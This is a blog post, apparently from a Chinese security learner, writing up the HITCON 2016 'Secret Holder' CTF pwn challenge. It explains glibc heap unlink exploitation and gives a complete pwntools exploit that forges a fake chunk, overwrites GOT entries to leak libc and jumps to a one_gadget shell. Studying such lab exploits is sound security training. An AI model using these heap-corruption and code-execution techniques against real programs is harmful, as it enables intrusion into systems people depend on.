BUUCTF-Secret Holder

[BUUCTF] Secret Holder

题目链接:https://buuoj.cn/challenges#secretHolder_hitcon_2016
通过这道题来学习一下堆unlink相关操作

在开始讲这道题之前首先需要了解堆的一种漏洞利用: unlink, 通过unlink和向堆指向空间写入数据,我们能够实现任意地址写

在堆中,bins(非fast bin)是以双向链表形式存在,而我们从这个链表中获取一个chunk时,会触发链表节点的删除操作

FD = node->fd; BK = node->bk; FD->bk = BK; BK->fd = FD;

如果我们想往一个地址(target_addr)写入任意值(my_value), 那么我们可以修改chunk的fd和bk分别为target_addr - 0x18, my_value,此时unlink操作就变成了

FD = node->fd; // FD = target_addr - 0x18 BK = node->bk; // BK = my_value FD->bk = BK; // *(target_addr - 0x18 + 0x18) = my_value BK->fd = FD; // *(my_value + 0x10) = target_addr - 0x18

如果没有node节点的校验,并且我们拥有(my_value + 0x10)地区的写权限的话(一般都有target_addr的写权限),我们就能实现任意地址写。
然而,现实很骨干,开发者们早就注意到了这个漏洞,并在unlink时加入了如下的校验:检查下一个节点的presize和当前节点的size是否相同,且FD->bk == P && BK->fd == P

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查) if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ // 检查 fd 和 bk 指针(双向链表完整性检查) if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ // largebin 中 next_size 双向链表完整性检查 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV);

加入了这样一个校验机制之后,我们就不能直接达成任意地址写这个目标了。然而,道高一尺魔高一丈,前辈们想出了一种间接任意写的办法。让我们仔细看下这段校验的代码, 令FD = &P - 0x18, BK = &P - 0x10, 此时

  • FD->bk = P
    • *(FD + 0x18) = P
    • *(&P - 0x18 + 0x18) = *(&P) = P
  • BK->fd = P
    • *(BK + 0x10) = P
    • *(&P - 0x10 + 0x10) = *(&P) = P

校验通过,继续执行赋值语句

  • FD->bk = BK
    • *(&P - 0x18 + 0x18) = &P - 0x10
    • P = &P - 0x10;
  • BK->fd = FD
    • *(&P - 0x10 + 0x10) = &P - 0x18
    • P = &P - 0X18;

最终效果为P = &P - 0x18, 让我们来个图直观感受一下unlink前后的内存布局变化

通过unlink,我们成功让原本指向堆的指针指向了指针上方的一块区域。又由于题目中一般允许让用户对堆的内容重新输入,此时(第一次输入)我们只需要写入p64(0) * 3 + p64(target_addr),覆盖掉P的指针, 即可让P指向我们想要写入内容的地址,然后(第二次输入)写入p64(my_value),就能实现任意地址写。

还有一个关键的问题!怎样触发unlink? 当我们free掉一个chunk,叫chunk1,如果chunk1与top chunk相邻,chunk1就会与top chunk合并,同时还会去检查前面一个chunk,叫chunk0,如果chunk0处于free状态,则会触发链表的unlink。

glibc环境配置

接下来我们看下Secret Holder这道题,首先设置一下运行环境

patchelf --set-interpreter /home/kali/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./secretHolder_hitcon_2016 patchelf --replace-needed libc.so.6 /home/kali/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so ./secretHolder_hitcon_2016 patchelf --set-rpath /home/kali/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ ./secretHolder_hitcon_2016

检查一下安全机制

IDA 代码分析

这个文件是动态加载的,题目中有三个堆buf_small, buf_big, buf_huge,用三个变量init_small, init_big, init_huge来标识是否被使用,在keep方法中,直接用read读取size个字符,并且没有用\0结束读入的字符串,可能存在信息泄露。在wipe中,没有判断flag就直接free掉了buf,这里是一个double free漏洞。renew方法则是重新给三个堆赋值。

总体思路

  1. 构造fake chunk
  2. 执行unlink
  3. 泄露libc基址
  4. 执行one_gadget

编写exp

基本框架

from pwn import * context.log_level = 'debug' file_path = '/home/kali/Desktop/ctf/pwn/secretHolder/secretHolder_hitcon_2016' libc_path = '/home/kali/Desktop/ctf/pwn/secretHolder/libc-2.23.so' io = process([file_path]) # io = remote('node4.buuoj.cn', 28834) elf = ELF(file_path) libc = ELF(libc_path) def keep(idx): io.sendlineafter(b'Renew secret\n', b'1') io.sendlineafter(b'Huge secret\n', str(idx)) io.sendafter(b'secret: \n', b'aaaa') def wipe(idx): io.sendlineafter(b'Renew secret\n', b'2') io.sendlineafter(b'Huge secret\n', str(idx)) def renew(idx, data): io.sendlineafter(b'Renew secret\n', b'3') io.sendlineafter(b'Huge secret\n', str(idx)) io.sendafter(b'secret: \n', data)

构造fake chunk

keep(1) wipe(1) keep(2) wipe(1) # double free keep(1) # overlap


图的出处见参考文献2, 这位老哥讲解的特别好,直接copy过来...

unlink之前需要做一些准备,buf_huge的大小是400000字节,最初的top chunk无法满足,我们需要先alloc一次,(这次会通过mmap分配,并扩大mmap分配的内存阈值),再free掉,再alloc第二次,第二次获取的堆地址才是我们想要的buf_huge地址(和buf_small, buf_big)相邻

keep(3) wipe(3) keep(3)

alloc完buf_huge后的内存布局如图所示,之后我们就可以删除buf_huge来触发buf_small的unlink

small_ptr = 0x6020b0 # ida静态分析获取 big_ptr = 0x6020a0 # 同上 payload = p64(0) payload += p64(0x21) # fake size payload += p64(small_ptr - 0x18) # 绕过FD->bk == P && BK->fd == P payload += p64(small_ptr - 0x10) # 同上 payload += p64(0x20) # huge.pre_size, 绕过chunksize(P) != prev_size (next_chunk(P)) payload += p64(0x61a90) # huge.size renew(2, payload) # 构造fake chunk wipe(3) # 触发unlink

unlink完后small_ptr就指向了small_ptr-0x18的位置,而big_ptr=small_ptr-0x10, 也就是说如果往small_ptr里写数据的话还会把big_ptr的内容给覆盖。现在让我们来修改got表

泄露libc基址

payload = b'a' * 8 payload += p64(elf.got['free']) # *big_ptr = free@got.plt payload += b'a' * 8 payload += p64(big_ptr) # *small_ptr = big_ptr renew(1, payload) renew(2, p64(elf.plt['puts'])) # *free@got.plt = puts@plt renew(1, p64(elf.got['puts'])) # *big_ptr = puts@got.plt wipe(2) # puts(puts@got.plt) puts_addr = u64(io.recvline()[:6].ljust(8, b'\0')) libc_base = puts_addr - libc.symbols['puts']

执行one_gadget

one_gadget = libc_base + 0x45216 payload = b'a' * 0x10 payload += p64(elf.got['puts']) # *small_ptr = puts@got.plt renew(1, payload) renew(1, p64(one_gadget)) # puts@got.plt = one_gadget io.interactive()

参考文献

[1]https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/

[2]https://poning.me/2016/10/29/secret-holder/

[3]CTF竞赛权威指南Pwn篇 p295.堆利用-HITCON CTF 2016: Secret Holder


__EOF__

本文作者wudiiv11
本文链接https://www.cnblogs.com/wudiiv11/p/buuctf-secret-holder.html
关于博主:励志成为世界一流的安全专家
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   wudiiv11  阅读(99)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示